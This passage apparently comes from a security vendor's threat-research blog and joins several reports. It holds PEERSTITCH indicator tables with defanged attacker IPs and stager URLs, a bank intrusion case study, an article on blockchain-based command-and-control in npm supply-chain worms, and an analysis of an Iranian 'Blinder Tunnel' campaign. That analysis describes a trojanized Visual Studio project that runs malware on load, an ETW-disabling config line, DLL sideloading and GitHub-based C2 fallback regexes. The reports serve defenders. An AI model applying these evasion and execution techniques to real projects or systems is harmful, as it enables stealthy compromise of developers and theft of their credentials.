Filename pM.js PEERSTITCH malware installer script
Filename index.js PEERSTITCH emscripten JS component
Filename index.wasm PEERSTITCH emscripten WASM module
Filename ipssem.js PEERSTITCH orchestrator script
Filename and path ../../../../setup Path-traversal auto-script name
Filename and path ../../tmp/apache2/conf/md-acme.conf Path-traversal auto-script name

Table 3. Files and SHA-256 hashes for PEERSTITCH activity.

Table 4 lists the network indicators associated with PEERSTITCH activity.

Type Value Context
IP address 23.240.77[.]233 Hosting installer and PEERSTITCH malware
IP address 47.18.167[.]159 Hosting installer and PEERSTITCH malware
IP address 45.32.41[.]202 Rogue FortiGate IP added to FortiManager
IP address 198.199.122[.]22 Rogue FortiGate IP added to FortiManager
URL hxxp[:]//23.240.77[.]233:8085/pM.js Hosting PEERSTITCH stager
URL hxxp[:]//47.18.167[.]159:8085/pM.js Hosting PEERSTITCH stager
URL hxxp[:]//23.240.77[.]233:8084/directory ACME certificate authority abuse
URL hxxp[:]//23.240.77[.]233:8084/acme/new-acct ACME certificate authority abuse
URL hxxp[:]//23.240.77[.]233:8084/acme/order/11111 ACME certificate authority abuse
URL hxxp[:]//23.240.77[.]233:8084/acme/authz/1 ACME certificate authority abuse
URL hxxp[:]//23.240.77[.]233:8084/acme/finalize/61924744/774083503 ACME certificate authority abuse

Table 4. Network indicators for PEERSTITCH activity.

The following is a YARA rule to discover PEERSTITCH activity:

Additional Resources

The Noise Inside the Network: How an Unsophisticated Attack Exposed a Third-Party Risk

When unusual activity was detected on a European bank’s central IT system, its internal security team quickly recognized that the incident warranted immediate response. They discovered unauthorized VPN-based access attempts that spanned several months. They then engaged Unit 42 to determine the full scope of the intrusion, identify any persistent footholds and secure the environment.

While the activity appeared to be a stealthy cyberespionage campaign, the actual intrusion was made possible by gaps in foundational security controls. Rather than relying on novel techniques, the threat actor succeeded through persistence, exploiting weaknesses that stronger identity protections and basic security hygiene could have prevented. The case highlights an important lesson: Sometimes the most damaging intrusions begin with the simplest oversights.

Internal Reconnaissance: A High-Volume, Noisy Campaign

The intrusion originated through a third-party-managed external gateway appliance that was not properly configured to enforce strict authentication. Using compromised credentials, the attacker began by authenticating to internal systems. Once inside, the threat actor launched a discovery campaign of the internal network.

The threat actor conducted multiple rounds of reconnaissance, performing extensive host and network scans across a wide range of protocols and interacting with thousands of systems. This broad, noisy approach was less a targeted strike than casting a net to uncover as many access points as possible.

Authentication Abuse and Documentation Browsing

The pattern continued with credential testing. Over a period of a few months, the threat actor launched multiple password-guessing campaigns. They hammered at internal systems with brute-force authentication attempts, focusing on administrator accounts.

While doing this, they systematically targeted internal documentation and data shares. Using automated web requests, they scraped individual pages and attachments from internal systems and enumerated various operational and network shares.

The activity observed did not match the behavior typically associated with a sophisticated threat actor. The noise behind the scanning and login attempts, along with using common system identifiers, pointed to an opportunistic attacker attempting to compromise multiple systems. Their actions showed little effort to remain hidden or avoid detection.

Early Detection, Containment, and Remediation

In the final stages, the intruder attempted to expand control by exploiting a Windows Server Update Services (WSUS) remote code execution vulnerability on the central configuration management server. This server handled software distribution across the bank, making it a prime target for privilege escalation and long-term persistence.

However, the attacker's luck ran out. The moment they attempted to execute unauthorized code, Cortex XDR identified the activity and contained the threat before it could escalate. The attacker was prevented from gaining a persistent foothold or moving laterally throughout the network.

When Unit 42 engaged, our team initiated a comprehensive threat-hunting effort. We performed a deep forensic review of endpoint telemetry across approximately thousands of systems, alongside logs from dozens of Windows and Linux servers. Ultimately, no additional attacker presence or persistent backdoors were found. Bank leadership acted quickly to review the exposed documentation and rotate all compromised credentials, completely neutralizing the threat.

What This Investigation Revealed

This case serves as a critical reminder that not every cyber threat is advanced and multifaceted. Opportunistic actors will gladly take advantage of simple oversight, such as missing multi-factor authentication (MFA) on a VPN or an unpatched edge device, to compromise and break into an environment. That being said, an attacker's lack of sophistication doesn't make them harmless.

Defending against this type of intrusion relies on foundational security hygiene and swift response. This includes:

  • Enforcing strict identity access controls
  • Ensuring timely patching
  • Using endpoint detection to stop lateral movement

By pairing timely containment with thorough threat hunting, the organization prevented the intrusion from turning into a catastrophic event.

Outcomes

Unit 42 independently validated the incident to confirm the root cause, restoring leadership confidence through strategic guidance and complete incident management. Beyond resolving the immediate threat, we delivered specific, prioritized recommendations to harden the bank's security posture. To ensure enhanced protection, the organization expanded its defensive coverage by deploying additional Cortex XSIAM and Cortex XDR licenses and broadening its incident response retainer service.

Interested in learning more about the latest attack trends? If so, take a look at our Unit 42 Global Incident Response Report, which distills the most critical findings based on our direct experience responding to over 750 real-world cyberattacks across the globe.

Additional Resources

About Unit 42

Unit 42 strengthens your team with the tools and expertise needed to stay ahead of threats and protect your business. With our proven strategies and insights from thousands of engagements, we’ll help your team handle the toughest situations with confidence.

Evolution of Web3 in Cloud Supply Chain Attacks

Executive Summary

Threat actors have systematically upgraded their command-and-control (C2) infrastructure to use Web3, also known as Web 3.0 or decentralized blockchain web architectures. This advancement goes from using static C2 endpoints hard coded in malware binaries to using Web3-powered smart contracts. Threat actors are then enabled to dynamically update entire botnets and worm network infrastructures with a single smart contract transaction.

According to the 2026 Unit 42 Global Incident Response Report, software supply chain compromises have become a leading initial access vector targeting enterprise cloud environments. By poisoning open-source dependencies, threat actors bypass traditional authentication perimeters to harvest the following from developer endpoints and continuous integration/continuous deployment (CI/CD) pipelines:

  • Elevated cloud identity tokens
  • Service account keys
  • Deployment secrets

Recent supply chain campaigns, most notably the ChainDrop npm worm and the PolinRider campaign, demonstrate how open-source packages are engineered specifically to extract ephemeral cloud access keys and establish persistence within developer workflows. This operational shift has been seen in North Korea-affiliated state-sponsored actors, such as Alluring Pisces (aka Sapphire Sleet or Midnight Neptune), that operationalize these techniques across their recent attributed supply chain campaigns, including those targeting Axios, Mastra AI and Rust's arrayref.

So what can be done about this? There are active defensive measures organizations can employ to combat this technique. See the section Considerations for Security Teams for additional information.

First, evaluate your organization's business domain to determine whether Web3 or blockchain network activity is ever expected. If your organization should never connect to a Web3 or blockchain network, this is an easy win.

Next, ensure you have endpoint protection and network security controls in place to properly monitor and block processes and their network traffic if they become compromised.

Finally, automate your policy controls across all CI/CD runners and version control systems in your environment.

Open-Source Supply Chains: The Cloud Initial Access Vector

Developer workstations and automated CI/CD runners represent a highly privileged attack surface holding sensitive or administrative Identity Access Management (IAM) keys or tokens. Current supply chain malware prioritizes extracting these credentials whenever software dependencies are resolved.

Two recent, high-impact campaigns illustrate these cloud-focused initial access vectors with decentralized blockchain C2 methodology.

ChainDrop npm Worm

Traced to the Shai-Hulud family, ChainDrop infected over 400 npm packages (including keyv and cacheable-request). The worm executes a preinstall script hook that downloads a custom Bun runtime to launch an obfuscated credential harvester.

In addition to searching static disk files, ChainDrop searches memory inside running build processes. It captures ephemeral cloud provider identity and access management (IAM) keys, CI/CD pipeline worker tokens and short-lived OIDC federation keys. Then, the runner terminates.

Figure 1. Attack flow of the ChainDrop npm worm.

To maintain long-term communication without relying on static domains, ChainDrop uses EtherHiding to query smart contract transactions. The smart contract transactions contain dynamically encrypted information for exfiltration IP or domain endpoints. ChainDrop then injects persistent task hooks. This triggers automatic execution whenever a developer opens a project or starts an AI coding session, as shown below in Figure 1.

PolinRider Campaign

Expanding across developer ecosystems, the PolinRider campaign spans multiple package registries, including npm, Go modules and Packagist. Rather than relying strictly on standard package installation scripts, PolinRider conceals malicious loaders within repository configuration files, web resources and developer IDE workspace automation.

When a developer loads the workspace, the payload silently triggers in the background to exfiltrate developer credentials, cloud session tokens and environment secrets while establishing long-term persistence within enterprise build pipelines.

Across different variants within the campaign, loaders dynamically resolve C2 endpoints using Web3 mechanisms. Mechanisms range from multi-chain transaction queries across networks like TRON, Aptos and Binance Smart Chain (BSC) to zero-data address resolution techniques like NullReceiver.

Figure 2. PolinRider multi-registry attack flow and Web3 C2 resolution.

To maximize the reliability of C2 infrastructure, threat actors deploy multiple of these mechanisms in a hybrid architecture. This allows them to use zero-data transfers as a backup channel if primary remote procedure call (RPC) gateways or multi-chain lookups are blocked, as shown below in Figure 2.

Once extracted, these credentials may provide direct access to cloud management consoles and management APIs, bypassing multi-factor authentication (MFA) if other controls are not in place.

The Architectural Evolution of Web3 Command and Control

Supply chain compromises face a distinct operational hurdle. Once a backdoored package is published to a public registry, automated security scanners, registry auditors and static analysis tools immediately inspect the code for hard-coded C2 domains or IP addresses. Hard coding infrastructure leads to swift domain takedown, IP blocklisting and package removal.

Threat actors can use the Web3 mechanics discussed above to maintain their initial access footholds across developer endpoints and enterprise build pipelines. They can do so by pointing their C2 infrastructure to blockchain networks and, more specifically, to smart contract enabled transactions.

By routing C2 resolution through Web3 networks, campaigns like ChainDrop and DPRK-affiliated PolinRider operations ensure their infrastructure survives Web 2.0-style network monitoring. These techniques have evolved through three distinct architectural phases, moving from observable smart contract storage to completely zero-data transaction decoding.

Phase 1: EtherHiding

Popularized under the EtherHiding taxonomy and reported in late 2024 supply chain campaigns targeting npm packages, early Web3 C2 implementations relied on deploying a hardcoded smart contract address on public blockchains. Malware loaders such as those deployed by the ChainDrop npm worm issued read-only JSON-RPC calls (eth_call) to retrieve C2 domains stored within smart contract state variables. Although this bypassed traditional Web 2.0 DNS sinkholing, embedding a fixed contract address introduced a static single point of failure. Outbound JSON-RPC request payloads explicitly expose the target contract address ("to": "0x..."). Security controls could flag and block all RPC queries directed to that specific contract.

Reports indicate that the DPRK-affiliated threat actor employs EtherHiding techniques to distribute malware and steal cryptocurrency.

Phase 2: Cross-Chain Transaction Data Hiding (TxDataHiding)

To overcome the single-point-of-failure inherent to hard-coded state contracts, threat actors shifted from contract state storage to the transaction input data layer (calldata). Popularized under the TxDataHiding taxonomy and deployed across campaigns like PolinRider, this phase decouples C2 resolution from permanent smart contract getters.

Instead of invoking state variables, operators embed encrypted C2 payloads directly into the raw input data fields (0x...) of standard blockchain transactions. The payloads are often sent to dynamic router contracts or designated burn addresses.

The malware loader reads transaction history logs (eth_getTransactionByHash, or calldata parsing) to extract and decrypt the active payload in memory. In PolinRider, variants implement multi-tier fallback routes across networks like TRON, Aptos and Binance Smart Chain (BSC).

If one chain or router is flagged, the actor broadcasts a fresh transaction on another network, updating global C2 endpoints instantly without modifying a single line of state code.

Phase 3: Zero-Data Address Resolution (NullReceiver)

Identified in supply chain compromises targeting front-end dependencies (bianira-ui, fluid-type-ui), NullReceiver achieves total data minimization by eliminating smart contracts, input data fields and executable payloads. The loader queries an actor-controlled wallet for its latest zero-value transaction. It mathematically extracts the active C2 IPv4 address directly from the 20-byte recipient address structure itself. Figure 3 demonstrates this below.

Figure 3. NullReceiver IPv4 address resolution extraction workflow.

The payload:

  • Reads the recipient address
  • Verifies the ASCII validation marker
  • Converts the leading 4 bytes to decimal
  • Connects outbound

Because the transaction carries zero value and zero data, no code structure or domain string exists for security filters to inspect.

DPRK State-Sponsored Operational Expansion

Cybercriminal groups deploy supply chain worms for opportunistic theft. On the other hand, North Korean state-sponsored threat actors use open-source software registries as a primary initial access vector targeting corporate environments.

This strategic shift is reflected across the cloud sector. Recent findings from Amazon Threat Intelligence highlight how North Korean threat groups systematically target open-source dependencies to penetrate enterprise infrastructure.

Threat actors demonstrate how compromising a single maintainer account or registry scope converts open-source dependencies, resulting in widespread affected cloud environments.

Telemetry across these intrusions indicates that an affiliated DPRK threat actor maintained a shared infrastructure footprint.

  • Axios Compromise: The threat actor compromised the lead maintainer of axios, injecting a backdoored dependency (plain-crypto-js) into the package manifest. The payload executed inside enterprise build pipelines to exfiltrate cloud tokens and target macOS code-signing certificates.
  • Mastra AI Campaign: Targeting AI development workflows, the threat actor published poisoned npm packages that used build execution hooks to scrape developer environment variables and cloud keys.
  • Rust arrayref: Expanding into Rust, the actor poisoned the arrayref crate on crates.io, using Rust's native compilation hook to execute a second-stage payload upon project builds.

Matching C2 beacon behaviors, SSL configurations, and clustered virtual private server (VPS) hosting ranges link all three operations, demonstrating how the actor leverages supply chain poisoning as a scalable initial access mechanism designed to yield long-lived cloud administrative access.

Considerations for Security Teams

As threat actors adapt to security controls and evolve beyond zero-data transfers, decentralized C2 techniques will increasingly leverage emergent primitives that blend malicious lookups directly into routine enterprise traffic. When attackers can silently infiltrate developer workstations and build runners to gain their initial foothold, static Indicator of Compromise (IoC) blocklists and traditional perimeter defenses are no longer sufficient to protect cloud infrastructure.

Defending against this threat landscape requires moving from reactive IoC matching to proactive behavioral visibility. Organizations can effectively neutralize these techniques by deploying three core defense capabilities:

Context-Aware and AI-Driven Behavioral Analytics

First, evaluate your organization's business domain to determine whether Web3 or blockchain network activity is ever expected within your environment. For typical enterprise organizations without Web3 operations, any outbound blockchain interaction represents an immediate, high-confidence anomaly. Integrating AI-driven behavioral analytics enables security teams to correlate network telemetry, baseline normal developer traffic and determine whether subtle on-chain evasion techniques are actively being witnessed in the environment.

Process-Contextual Endpoint and Network Inspection

Configure endpoint protection and network security controls to perform deep process-level inspection across developer workstations and CI/CD runners. Security policies should monitor standard enterprise runtimes, scripting engines and compiler binaries. This raises immediate alerts when non-crypto development tools initiate unexpected outbound queries toward public blockchain gateways.

Build Pipeline Integrity

Because modern supply chain payloads conceal loaders within build tools and workspace automation settings, security teams must expand code auditing beyond standard application binaries. Implement automated policy controls across CI/CD runners and version control systems to flag unauthorized modifications to repository configuration files, hidden script injections in package manifests, and unverified package lifecycle hooks before code is executed in build pipelines.

Additional Resources

Blinder Tunnel Campaign Targets Iraqi Infrastructure

Executive Summary

We discovered that an Iranian state-aligned threat actor has been masquerading as the Dubai Airports IT department to deliver trojanized coding challenges to high-value targets. Unit 42 tracks the activity as CL-STA-1178. This activity includes a campaign we call “Blinder Tunnel,” that targeted Iraqi critical infrastructure in March 2026, following infrastructure staging that was observed as early as November 2025. We named the campaign Blinder Tunnel after infrastructure terms the attackers used, as well as the malware’s tunneling capabilities.

While other security vendors have discussed individual attacks linked to this activity, this is the first report that not only ties together these disparate attacks as related activity, but tracks the evolving 2026 activity and the Blinder Tunnel campaign as a whole. We assess with high confidence that this activity aligns with an Iranian-nexus threat.

This campaign expands on previous operations and incorporates a “Peaky Blinders” theme by naming infrastructure components after the British crime drama’s branding — even embedding its theme song into the malware.

During our research, we discovered that the attackers established an initial foothold using a three-step attack chain:

  1. Exploited legitimate Windows developer .csproj files
  2. Performed AppDomainManager hijacking
  3. Executed binaries through DLL sideloading

These steps enabled the attackers to deploy custom malware that we refer to as ShelbyLoader V2. To blend in with legitimate cloud traffic, the campaign misused GitHub’s API infrastructure for command-and-control (C2) communication. It did so by leveraging repositories to:

  • Fetch decryption keys
  • Download payloads
  • Use GitHub issues as a resilient C2 fallback mechanism

GitHub has taken down the malicious infrastructure that we identified as being associated with this campaign.

Our investigation benefited from various operational security (OpSec) and cryptographic missteps by the attackers, including:

  • Exposing tools on public repositories
  • Combining phishing and tunneling infrastructure
  • Embedding metadata within the show’s theme song

These tactical errors linked Blinder Tunnel infrastructure to a separate campaign in which the same actor leveraged conflict-themed Google Drive lures for credential harvesting against an Israeli entity in May-June 2026.

Palo Alto Networks customers are better protected from the Blinder Tunnel campaign through the following products and services:

Cortex AgentiX Agentic Assistant streamlined this investigation.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics DLL Sideloading, Screening Serpens, Credential Harvesting 

Introduction

CL-STA-1178 represents activity from an Iranian state-aligned threat actor linked to a series of targeted cyber operations across the Middle East. Previously associated with campaigns tracked by Elastic Security Labs as The Shelby Strategy, the threat actor behind this cluster of activity frequently employs thematic branding in their malware and infrastructure, drawing inspiration from the popular television show “Peaky Blinders.”

The attackers behind this cluster target high-value infrastructure, including telecommunications, aviation and other critical entities across Iraq, Israel and the United Arab Emirates (UAE).

Since the launch of Blinder Tunnel in March 2026, Unit 42 researchers have identified an evolution in the operational capabilities associated with the activity. The attackers used tailored social engineering tactics, weaponizing recruitment lures aimed at Iraqi software developers and engineers.

We observed the threat actor staging and testing attack infrastructure as early as November 2025. This infrastructure remained dormant but operational until March 2026, when the attackers activated the campaign to target an individual in Iraq's critical infrastructure sector.

The infection chain relies on three initial execution techniques to establish covert access. The attacks introduced a new layer of evasion by weaponizing a native .csproj file, a Microsoft developer file used to build software projects. This initial stage subsequently triggered AppDomainManager hijacking, followed by DLL sideloading, leveraging their previously established execution techniques.

AppDomainManager hijacking is an emerging evasion technique that attackers are increasingly adopting, according to our recent research. Iranian threat groups like Screening Serpens and others are using this technique to force trusted Windows applications to covertly execute malicious payloads.

For C2 communication, the attackers behind Blinder Tunnel misuses legitimate GitHub API infrastructure, a strategy known as living off the cloud, to blend their malicious network activity with standard enterprise traffic. Before its removal, the GitHub repository also hosted an in-memory wrapper that executed the open-source Chisel tunneling utility. The attackers used Chisel as a bridge between their external infrastructure and compromised networks.

Figure 1 provides a high-level view of the entire campaign.

Diagram illustrating the Blinder Tunnel campaign. The process begins with an access vector impersonating airport Wi‑Fi, leading to a three‑step execution chain involving malicious AppDomainManager and DLL sideloading. Core functions utilize ShelbyLoader V2, with components like ShelbyC2 V2 and PowerShell commands. Parallel phishing targets are shown using the same IPs.
Figure 1. Overview of the Blinder Tunnel campaign.

Initial Access and Delivery

Dubai Airports Careers Portal

Starting in late March 2026, the threat actor launched a social engineering campaign disguised as a professional recruitment process to compromise a specific individual, likely a software engineer. We identified this campaign through VirusTotal, following multiple file submissions from a submitter based in Iraq.

Impersonating the Dubai Airports IT department, the attackers approached a target with a job offer for a development role. Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not imply that the legitimate product is flawed or malicious. Unit 42 is not aware of any breach, compromise, or vulnerability within Dubai Airports infrastructure or systems.

As a mandatory first stage in the recruitment process, attackers instructed the target to download and install a file named Dubai Airport Careers.

This file was an Inno Setup installer that deployed a self-contained, offline site masquerading as a career portal. To access the assessment, the target had to log in using credentials provided by the “recruiters,” simulating a realistic portal experience.

Figure 2 shows the initial login screen.

Screenshot of a login screen for "Dubai Airports Careers" featuring input fields for username and password, and a login button. The logo and text are on the right, with a profile icon in a circle on the left.
Figure 2. Impersonated Dubai Airports career portal login page.

After the target logged in, the application presented a tailored, 10-question HR questionnaire. Figure 2 shows part of this questionnaire.

Screenshot of a form titled "Dubai Airports Careers Q&A" with four questions for applicants to answer. The questions focus on personal attraction to the position, relevant experience, strengths, and handling tight deadlines or pressure. The form header includes the Dubai Airports logo and its name written in both English and Arabic.
Figure 3. Impersonated question and answer page mimicking an application for potential job candidates.

Submitting the questionnaire does not trigger data exfiltration, remote communication or malicious execution. This lack of network or backend activity indicates that the application is a harmless decoy. This lack of suspicious activity is designed to build credibility and lower the victim's guard before delivering a malicious payload in the next phase of the phishing operation.

Recruitment Coding Challenge

In April 2026, the same source that reported the career portal to VirusTotal made another submission, revealing the next stage of the recruitment lure. Unlike the usual malicious links or documents seen in a report by ClearSky Cyber Security about Iranian Dream Job campaigns, the threat actor sent the target a weaponized Microsoft Visual Studio project archive disguised as a coding assessment.

The project, named DubaiAirport_Carrers_IT_Test.zip (misspelled Carrers instead of Careers), contained a Readme.md file with personalized instructions. The message addressed the target directly:

  • “Dear <redacted full name>.”

The sender claimed to be a senior manager of a Dubai Airports IT department, instructing the recipient to open the C# Flight Management System project in their integrated development environment (IDE).

Figure 4 shows the first section of the Readme.md file, including the message tailored to the target and instructions for an at-home assessment.

Screenshot of a scam email claiming interest from Dubai Airport IT Department. The email mentions assessing problem-solving and debugging skills with a coding challenge using Visual Studio or any preferred C# IDE, suggesting a home task estimated to take 15-20 minutes.
Figure 4. The opening section of the Readme.md file.

Under the pretense of evaluating the target's technical abilities, the project included an intentional bug in a backend C# method: a for loop that skips the last element. Attackers instructed the target to build and run the project to find and fix the bug, a task that an experienced software engineer could accomplish without difficulty.

Three-Step Infection Chain

The initial infection is triggered by a malicious .csproj file. Once executed, the attack chain progressed to AppDomainManager hijacking followed by DLL sideloading.

Stage One: Malicious .csproj File

The attackers weaponized the C# project's .csproj configuration file by misusing Visual Studio's built-in evaluation process. This method caused the payload to execute the moment the project was loaded into the IDE, even before the developer attempted to compile the code.

Figure 5 shows the project files within the DubaiAirport_Carrers_IT_Test.zip archive, including the weaponized .csproj file.

Screenshot of a file directory showing several folders and files. Notable entries include a highlighted "Resources" folder, described as containing a malicious payload.
Figure 5. The project's structure and files within the malicious archive.

When a developer opens a project, Visual Studio performs a design-time build in the background. This process resolves dependencies and enables various features. During this initialization phase, Visual Studio runs a specific command called GetFrameworkPaths. Building on this command, the attackers defined a custom XML target with this exact name in their malicious .csproj file, overriding the safe Microsoft default behavior.

When the target opened the project, Visual Studio attempted its routine background check and executed the attacker's custom instructions without user intervention. The script created a deceptive folder in the user's local app data: %LOCALAPPDATA%\Microsoft\RuntimeBrokers. It then copied the hidden malware binaries from the project's Resources folder to this directory and launched the payload, RuntimeBroker.exe.

Figure 6 demonstrates the exact configuration of the .csproj file, highlighting the hijacked target and the sequence that copied the malicious files to their target destination.

Screenshot of code related to potential malware activities. It shows an XML configuration with highlighted sections indicating actions. Key actions include creating a directory for Microsoft RuntimeBrokers, copying files from Resources to this new directory, and executing a payload.
Figure 6. The .csproj file configuration, showing the malicious configuration used by the threat actor.

The malware deployed, copied itself and launched in the background while the developer was still reading the deceptive Readme.md file. This technique is classified as Trusted Developer Utilities Proxy Execution. It can be effective because the malicious background execution is triggered by the legitimate, expected behavior of msbuild.exe, a trusted developer tool.

Stage Two: AppDomainManager Hijacking

The MSBuild binary launched a legitimate, signed Microsoft Visual Studio hosting process (vshost.exe). This file was then renamed to RuntimeBroker.exe. Upon execution, the AppDomainManager hijacking began by manipulating the application's RuntimeBroker.exe.config file. The attackers used this configuration file to replace the application's default startup manager with their own malicious version. This forced the system to pass full execution control to the malware before the host application launched, allowing their custom RAT, ShelbyLoader V2, to run in a hidden, trusted process.

Using this hijack technique allowed the attackers to manipulate the system and security configurations. By adding just a few lines of XML, the attacker instructed the system to disable one of its security-tracking mechanisms using the <etwEnable enabled="false"/> directive.

Because Event Tracing for Windows (ETW) is critical for monitoring execution and detecting in-memory threats, this flag could impair detection capabilities.

Figure 7 shows the RuntimeBroker.exe.config configuration file content, with the embedded malicious lines.

Screenshot of a code snippet from a configuration file. Highlighted items include "etwEnable" set to "true" and "false," and "appDomainManagerType".
Figure 7. RuntimeBroker.exe.config content.

Figure 8 displays the malicious files from the Resources folder, which served as the actor's main tool set throughout this campaign.

Screenshot of a file directory showing a list of files with types, sizes, and comments. Each file is labeled with comments in red dashed boxes, indicating their functions or connections to ShelbyLoader V2 and ShelbyC2 V2.
Figure 8. List of malicious files from the project's Resources folder.

Stage Three: DLL Sideloading

Following the execution of RuntimeBroker.exe and the subsequent AppDomainManager hijack, the attack sequence concluded with DLL sideloading as its final stage.

RuntimeBroker.exe, a renamed benign Microsoft binary, is susceptible to DLL search-order hijacking. The actor exploited this flaw to perform DLL sideloading, executing the malicious payload by loading RuntimeBroker.dll into memory.

Organizations can defend against these attacks by monitoring binaries that load unknown or non-standard DLLs outside of system directories. In this particular case, Cortex XDR flagged the root .slnx file that triggered the DLL sideloading attempt as a high-severity threat, preventing execution before any user interaction could occur, as Figure 9 shows.

Screenshot of Cortex XDR interface related to DLL hijacking. It shows that an incident is flagged as high severity and highlights a DLL sideload attempt. It mentions detection by XDR and notes the file name as the root cause of the malicious activity. Various sections detail the attack tactics and evidence, including process execution and file path information.
Figure 9. The infection chain originating in malicious DLL sideloading (categorized as DLL Hijacking), as shown, detected and prevented by Cortex XDR.

Security teams can detect this masquerading activity by monitoring abnormal process behavior. Cortex XDR flagged this execution chain as high risk and blocked the threat, as Figure 10 shows.

Screenshot of a Cortex XDR report indicating a high severity incident involving WildFire malware detection and masquerading activity on RuntimeBroker.exe. The report shows a sequence of five processes . A note indicates that the file initiates a DLL sideloading sequence to load the attacker's payload.
Figure 10. The infection chain as seen, detected and prevented by Cortex XDR.

The Attackers’ Evolving Tool Set

The attacker’s tool set relied on a modular, multi-stage architecture. This architecture was designed for persistence, remote command execution and lateral movement across compromised environments. The following analysis examines the core components of the attacker’s custom tool set:

  • ShelbyLoader V2: Primary loader that uses GitHub issues as a C2 fallback
  • PsProxy.dll: PowerShell execution engine
  • ShelbyC2 V2: Primary backdoor
  • Blackwood: Loader running in-memory tunneling utility (Chisel)

All the .NET binaries recovered in this campaign were obscured with the open-source obfuscator Obfuscar. This tool hinders reverse engineering and automated static analysis, using runtime string decryption and non-printable Unicode characters for class and method identifiers.

ShelbyLoader V2 RuntimeBroker.dll Loader

RuntimeBroker.dll, which we named ShelbyLoader V2, is a newer version of the previously documented ShelbyLoader malware.

The malware was a C# DLL that performed the following activities:

  • Operated as a loader
  • Created persistence
  • Fingerprinted the infected host
  • Established communication with the C2

The malware served as the initial entry point for launching the campaign. It executed a structured routine to perform initial host anti-analysis checks and establish communication before downloading and decrypting a second-stage payload.

The malware utilized two timed mechanisms to manage its operations:

  • Persistence (120-second interval): The malware achieved persistence through the registry, by creating a MicrosoftRuntime value under the current user startup registry key, pointing to the binary located at %LOCALAPPDATA%\Microsoft\RuntimeBrokers\RuntimeBroker.exe. The loader logged this persistence status across four operational states and returned the results to the attackers' C2:
    • Already persisted
    • Newly persisted
    • Registry key not found
    • Executable not found
  • Beacon (63-second interval): This timer drove the primary C2 loop. The beacon routine attempted to authenticate to the GitHub API using a hard-coded GitHub Personal Access Token (PAT): github_pat_11B2HDA2Q0KDdo…(redacted)

The beacon cycle began by communicating with the peakyblinders-tm/myLic GitHub repository and uploading a Base64-encoded machine fingerprint to /{machineId}/Lic.txt. The machineId is derived by taking the first 16 lowercase hex characters of a SHA-256 hash of the string Peaky Blinders 2.1 concatenated with the machine fingerprint.

After successful registration, the malware continuously polled for tasking by downloading the content of /{machineId}/Inf.txt. The malware parsed the response for a Base64-encoded command, which it decoded and executed. Once processed, the beacon uploaded an acknowledgment containing the SHA-256 file to update and clear the repository file. If the GitHub API returned an HTTP 403 (Forbidden) error due to rate limits, the malware enforced a one-hour sleep loop.

To hinder analysis, the malware checked for virtualization markers in the following locations:

  • Windows Management Instrumentation (WMI)
  • Running processes
  • Registry keys
  • File artifacts

It also verified host hardware (CPU, RAM, disk space) and ensured it was spawned by explorer.exe before running.

GitHub Issues as a C2 Fallback Mechanism

If the hard-coded token was revoked or the primary C2 channel returned an HTTP 401 Unauthorized error, the malware activated a fallback mechanism: a dead-drop resolver that leveraged the GitHub Issues Search API.

The malware constructed an automated search query using the current date formatted as yyyymmdd, combined with the repository identifier and an issue type filter. For every matching issue found, it fetched the comments URL and parsed the response body. It then extracted specific content that was hidden inside standard HTML comment markers: <!-- and -->.

This extracted ciphertext was decrypted using AES-256-CBC. The decryption key was derived by running an MD5 hash of the current date string, concatenated with the unique machineId and an initialization vector (IV) derived from the MD5 of that key, iterated five times. Once decrypted, the malware applied regular expressions to update the C2 owner, repository path and authentication token:

  • Owner=(\w.+)
  • LicRepo=(\w.+)
  • LicToken=(\w.+)

This fallback structure was built to allow for continuous operations in the event that GitHub took down the primary C2 repository or security tools blocked it.

The operators also planted encrypted fallback C2 data within the comments of benign GitHub issues. The underlying text cannot be decrypted without a target's unique machineId. However, the campaign's overall timeline suggests that an issue comment posted on April 16, 2026, served as a potential additional C2 of this implant, as Figure 11 shows.

Screenshot of a code editor with text. A comment by "peakyblinders-tm" on April 16, 2026, includes highlighted sections: a regular expression for locating a specific comment, and an encrypted block labeled as containing a backup.
Figure 11. A comment left by the attacker on April 16, 2026.

PsProxy.dll: The PowerShell Proxy Module

To execute local commands, the attackers used a dedicated in-memory module, PsProxy.dll, which served as a stateless execution engine with no standalone network or persistence capabilities.

The malware leveraged a technique described by MITRE as executing PowerShell commands without invoking the PowerShell.exe binary. Security tools generally hunt for malicious activity by monitoring the PowerShell.exe process. To evade this detection, PsProxy.dll bypassed the standard console and hooked into the core PowerShell engine (System.Management.Automation.dll).

The malware then initialized a customized runspace — an invisible, self-contained execution context — within the hijacked host process. This allowed the attacker's script to execute without spawning PowerShell.exe.

The malware authors designed this architecture for both stealth and stability. The PowerShell module ran without dropping malicious scripts to the disk or spawning suspicious processes. It also operated in a separate memory compartment, preventing a crashed script from disrupting the primary C2 connection. When a command arrived from the server, the main payload passed the raw script over to this proxy for execution.

Figure 12 illustrates the role of PsProxy.dll within the attack chain as a secondary execution module for the ShelbyC2 V2 RAT.

Diagram illustrating the execution chain of ShelbyC2 V2 and PsProxy.dll. It shows the flow from ShelbyC2 V2 C2 sending a malicious script to PsProxy.dll, which acts as an in-memory module. The process then hijacks PowerShell.exe, showing the PsProxy.dll as a core component within a custom runspace, executing scripts and providing command output. Arrows indicate the direction of data flow.
Figure 12. PowerShell module functionality.

ShelbyC2 V2 RuntimeBrokerApi.dll: Loading the Final Payload

Once the malware established stable communication with the GitHub-hosted C2, the RuntimeBroker.dll loader read an AES-CBC-encrypted file named RuntimeBrokerApi.dll from its base directory. We named this main RAT ShelbyC2 V2, based on the name of its last reported iteration, ShelbyC2.

The decryption key was generated using the full SHA-256 hash of a license content string fetched at runtime from the GitHub C2:

  • hxxps[:]//api.github[.]com/repos/peakyblinders-tm/myLic/contents/{machineId}/Lic.txt

The IV was set to the first 16 bytes of that same hash. The decrypted bytes were then loaded into memory as a raw .NET assembly.

ShelbyC2 V2 (RuntimeBrokerApi.dll) operated as the primary RAT. It managed command execution via the previously analyzed PsProxy.dll PowerShell module and served as the staging mechanism for deploying the Blackwood tunneling tool into the network, which we analyze in detail in the following section.

Blackwood: A Custom, Zero-Disk Chisel Tunneling Tool

On May 1, 2026, the attackers expanded their GitHub-centric infrastructure by creating a new public repository named pubs under the peakyblinders-tm account. This repository hosted a single archive file: Client.zip. Our analysis of this payload revealed a malicious executable internally named Blackwood, which was previously covered by CPX and submitted to VirusTotal in May 2025.

Figure 13 shows the GitHub repository pubs, containing the Client.zip file.

